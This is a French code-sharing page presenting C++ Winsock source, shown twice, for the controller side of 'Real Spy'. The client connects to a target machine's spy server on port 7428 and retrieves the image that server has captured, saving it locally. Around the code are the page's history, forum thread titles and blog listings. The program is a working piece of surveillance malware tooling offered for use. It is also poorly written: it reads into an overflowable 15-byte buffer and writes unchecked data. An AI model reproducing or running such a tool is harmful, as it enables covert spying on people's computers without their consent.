Accueil > > > REAL SPY - ADMIN
REAL SPY - ADMIN
Information sur la source
Description
voila ce code permet d'utiliser real spy de "T_Mehdi" (http://www.cppfrance.com/codes/REAL-SPY_29881.asp x). Il utilise les sockets. -> Ce qu'il fait: se connecte à la cible pour lui envoyer une requette afin de recevoir l'image prise par realspy server puis il l'enregistre sous le nom image.vip
Source
- #include<stdio.h> //Pour printf & co...
- #include<winsock2.h>//Pour les sockets
- #include <iostream.h>
- #include <fstream.h>
- #pragma comment(lib,"ws2_32.lib")//idem
-
- int main()
- {
- std::cout <<"Bienvenue dans le programme admin de réalspy (par Vlad)\n";
- WSADATA wsa; //initialiser les wsa
- WSAStartup(MAKEWORD(2,0),&wsa); //on les initialise ici
-
- SOCKET sock; //Et voila notre socket !(ce n'est rien d'autre qu'une var int)
- SOCKADDR_IN sin;//Structure ds laquelle on va stocker les parametres du socket
-
- cout <<"\n entrez l'adresse ip : ";
-
- char ip[15]; //adresse ip
- scanf("%s",ip);
-
- sin.sin_family=AF_INET;
- sin.sin_addr.s_addr=inet_addr(ip);
- sin.sin_port=htons(7428);
- sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);// on initialise le socket
- bind(sock,(SOCKADDR*)&sin,sizeof(sin));//On lie le socket à la structure sin pour définir ses parametres
-
- if(connect(sock,(SOCKADDR*)&sin,sizeof(sin)))//essaie de se connecter, connect ressemble étrangement à bind
- {
-
- cout<<"La connection a echoue\n";
- system("PAUSE");
- exit(0);//fin du prog
- }
-
- char host[50];//pour stocker le nom de l'ordi local
- gethostname(host, sizeof(host));//obtient le nom de l'ordi local
-
- printf("%s connecte a %s\n",host,ip);//L'habituel printf
-
- char buffer[50];//initialisation de la variable
- memset(buffer,0,sizeof(buffer));//on nettoi buffer
- cout <<"\nEnvoi de la requette pour recevoir le fichier\n";
-
-
- send(sock,"##FILE##",8,0);//on envoie les entrées
- memset(buffer,0,sizeof(buffer));//encore :)
-
-
- HANDLE fichier; //pour écrire en mode binaire
- DWORD octetsEcrits;
- fichier = CreateFile("image.vip", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //création du fichier binaire
-
-
- recv(sock,buffer,sizeof(buffer),0);
- cout <<"\n";
- memset(buffer,0,sizeof(buffer));//on mets les \0
- int err=0;//détection des erreurs
- while(err>-1)//qn y'a err=-1 c'est que la connection foire
- {
- err=recv(sock,buffer,sizeof(buffer),0);//recoit des données du server ds buffer
-
- if (strcmp(buffer,"#End#")!=0)
- WriteFile(fichier, buffer ,sizeof(buffer),&octetsEcrits,NULL);
-
- if (strcmp(buffer,"#End#")==0) {
- cout <<"\nFin de la reception du fichier\a";
- break;
- }
-
- memset(buffer,0,sizeof(buffer));//on mets les \0
- }
-
- CloseHandle(fichier);
- cout <<"\nConnection terminée\n\n";
-
- WSACleanup();//vide les wsa
- system("PAUSE");//Pause
- }
#include<stdio.h> //Pour printf & co...
#include<winsock2.h>//Pour les sockets
#include <iostream.h>
#include <fstream.h>
#pragma comment(lib,"ws2_32.lib")//idem
int main()
{
std::cout <<"Bienvenue dans le programme admin de réalspy (par Vlad)\n";
WSADATA wsa; //initialiser les wsa
WSAStartup(MAKEWORD(2,0),&wsa); //on les initialise ici
SOCKET sock; //Et voila notre socket !(ce n'est rien d'autre qu'une var int)
SOCKADDR_IN sin;//Structure ds laquelle on va stocker les parametres du socket
cout <<"\n entrez l'adresse ip : ";
char ip[15]; //adresse ip
scanf("%s",ip);
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=inet_addr(ip);
sin.sin_port=htons(7428);
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);// on initialise le socket
bind(sock,(SOCKADDR*)&sin,sizeof(sin));//On lie le socket à la structure sin pour définir ses parametres
if(connect(sock,(SOCKADDR*)&sin,sizeof(sin)))//essaie de se connecter, connect ressemble étrangement à bind
{
cout<<"La connection a echoue\n";
system("PAUSE");
exit(0);//fin du prog
}
char host[50];//pour stocker le nom de l'ordi local
gethostname(host, sizeof(host));//obtient le nom de l'ordi local
printf("%s connecte a %s\n",host,ip);//L'habituel printf
char buffer[50];//initialisation de la variable
memset(buffer,0,sizeof(buffer));//on nettoi buffer
cout <<"\nEnvoi de la requette pour recevoir le fichier\n";
send(sock,"##FILE##",8,0);//on envoie les entrées
memset(buffer,0,sizeof(buffer));//encore :)
HANDLE fichier; //pour écrire en mode binaire
DWORD octetsEcrits;
fichier = CreateFile("image.vip", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); //création du fichier binaire
recv(sock,buffer,sizeof(buffer),0);
cout <<"\n";
memset(buffer,0,sizeof(buffer));//on mets les \0
int err=0;//détection des erreurs
while(err>-1)//qn y'a err=-1 c'est que la connection foire
{
err=recv(sock,buffer,sizeof(buffer),0);//recoit des données du server ds buffer
if (strcmp(buffer,"#End#")!=0)
WriteFile(fichier, buffer ,sizeof(buffer),&octetsEcrits,NULL);
if (strcmp(buffer,"#End#")==0) {
cout <<"\nFin de la reception du fichier\a";
break;
}
memset(buffer,0,sizeof(buffer));//on mets les \0
}
CloseHandle(fichier);
cout <<"\nConnection terminée\n\n";
WSACleanup();//vide les wsa
system("PAUSE");//Pause
}
Historique
- 10 septembre 2007 18:38:17 :
- correction d'une petite erreur
- 10 septembre 2007 18:41:00 :
- .
Sources de la même categorie
Commentaires et avis
Discussions en rapport avec ce code source dans le forum
Webcam Client Serveur Data Packets [ par c0nsur ]
Bonjour, J'aimerais savoir comment on peu avoir accès directement à une webcam car j'aimerais etre capable de diffuser en stream continu la webcam d'
se servir de real spy [ par vincedu67 ]
Bonjour à tous,voilà mon problème:je debute en informatique et j 'ai telechargé real spy seulement voilà que dois je faire pour pouvoir m'en servir?Po
serveur/client et webcam [ par zer000 ]
Bonjour Est ce possible a partir d'un code source serveur/client de recevoir l'image de la webcam du client en TCP/IP ? si oui comment faire?
pleeeese :-) QT3 application client serveur avce connexion à la bese [ par mariemtunisie ]
Bonjour tt le monde, je suis à la recherche d'un code QT3 permettant l'échange client serveur via socket, et qui permet la connexion coté serveur à un
[Sockets] Petit soucis sur client FTP avec les sockets [ par Nixeus ]
Bonjour à tous, J'ai développé un petit client FTP dans un langage propriétaire. Je pose ma question dans la section Linux, car je pense que les lin
[Probléme] enregistrement Image Webcam [ par vbnino ]
Salut! -Je fais un petit programme qui capture la webcam sur un Timage et l'enregistrer, mais y'a un probléme, lorsque j'enregistre le fichier, l'im
petit problème avec un makefile [ par leatitiazelda ]
Salut à tous, Voilà, j'ai réalisé un mini-client en ftp et je bloque au niveau du makefile,en effet j'ai des fichiers .h que j ai justement inclus da
optimisation de code, liens entre objets [ par szambaux ]
Bonjour, je cherche à optimiser une partie de mon code Je suis en train de développer un serveur SSL avec Qt; j'ai plusieurs classes: -CoreServer -Cl
plantage du serveur [ par Adict ]
Bonjour [^^happy13] alors voila j'ai fini un projet mais il y a un problème. Il se compose d'une application client et serveur. Il y a quelque temps
|
Derniers Blogs
CSS CONTENT STATE SELECTORS (PERSONNAL DRAFT)CSS CONTENT STATE SELECTORS (PERSONNAL DRAFT) par FREMYCOMPANY
Bonjour à tous, Je viens de publier une proposition comprenant 5 pseudo-classes pour le CSS Working Group ayant trait à l'état de chargement d'un élément (ex: IMG,VIDEO,AUDIO,OBJECT pour l'HTML.). Si le c½ur vous en dit, vous pouvez retrouver cette p...
Cliquez pour lire la suite de l'article par FREMYCOMPANY MBA : POURQUOI FAIRE ET COMMENT LE CHOISIR ?MBA : POURQUOI FAIRE ET COMMENT LE CHOISIR ? par ROMELARD Fabrice
Formation initiale Durant la formation, le découpage classique est le suivant (je donnerai les équivalences Suisse lorsque je les connaîtrais) : Ecole primaire jusqu'au Collège : Formation générale permettant d'obtenir les méthodes...
Cliquez pour lire la suite de l'article par ROMELARD Fabrice Y'A DES ERREURS QUI PEUVENT RENDRE LE DéVELOPPEUR VIOLENTY'A DES ERREURS QUI PEUVENT RENDRE LE DéVELOPPEUR VIOLENT par Aleks
Quand on a ce genre d'erreur sans log :
Et bas on a juste envie de choper le gas de Microsoft qu'a développé ça et lui foutre des baffes de Coboye ! ...
Cliquez pour lire la suite de l'article par Aleks [HYPER-V 3] PRéSENTATION DES COMMANDLETS POWERSHELL[HYPER-V 3] PRéSENTATION DES COMMANDLETS POWERSHELL par Pierrick CATRO-BROUILLET
Avec la sortie prochaine de la Beta Consumer Preview de Windows 8, j'avais envie de revenir sur une des fonctionnalités que j'attends le plus et que, en bon geek que je suis, j'utilise déjà : Hyper-V 3 ainsi son module PowerShell.
Il y a déjà pléthor...
Cliquez pour lire la suite de l'article par Pierrick CATRO-BROUILLET IIS7 - COMPRESSION GZIPIIS7 - COMPRESSION GZIP par cyril
La compression GZIP permet d'améliorer les performances de navigation en compressant ce qu'envoie le serveur à un client. Pour comprendre comment cela fonctionne, regardons ce qu'il se passe au niveau HTTP lorsqu'un client tente d'accéder à une ress...
Cliquez pour lire la suite de l'article par cyril
Forum
ARBRE BINAIREARBRE BINAIRE par pacotheking
Cliquez pour lire la suite par pacotheking
Logiciels
Easy-Planning (1.0.0.1)EASY-PLANNING (1.0.0.1)Basé sur les mêmes principes que MyPlanning, Easy-Planning permet de créer des plannings sous la ... Cliquez pour télécharger Easy-Planning Academy System (17.1.3.0)ACADEMY SYSTEM (17.1.3.0)Logiciel de gestion des établissements.
- élèves/étudiants (inscription, dossier, absence...)
-... Cliquez pour télécharger Academy System COLLECTOR PLUS (3.00B)COLLECTOR PLUS (3.00B)COLLECTOR PLUS version 3.00B est un logiciel utilisant une base de données alimentée par :
- L... Cliquez pour télécharger COLLECTOR PLUS PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO (V7.4)PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO (V7.4)PONAMEDIA TV DEVIENS HELLLOOO FLASH
LA TV SUR VOTRE ORDINATEUR.
Toute une plateforme Multi... Cliquez pour télécharger PONAMEDIA PREMIUM - HELLLOOO FLASH DEMO LettresFaciles 2011 (8.0.0.1)LETTRESFACILES 2011 (8.0.0.1)LettresFaciles est un logiciel facilitant la création et la rédaction de lettres types.
Son inte... Cliquez pour télécharger LettresFaciles 2011
|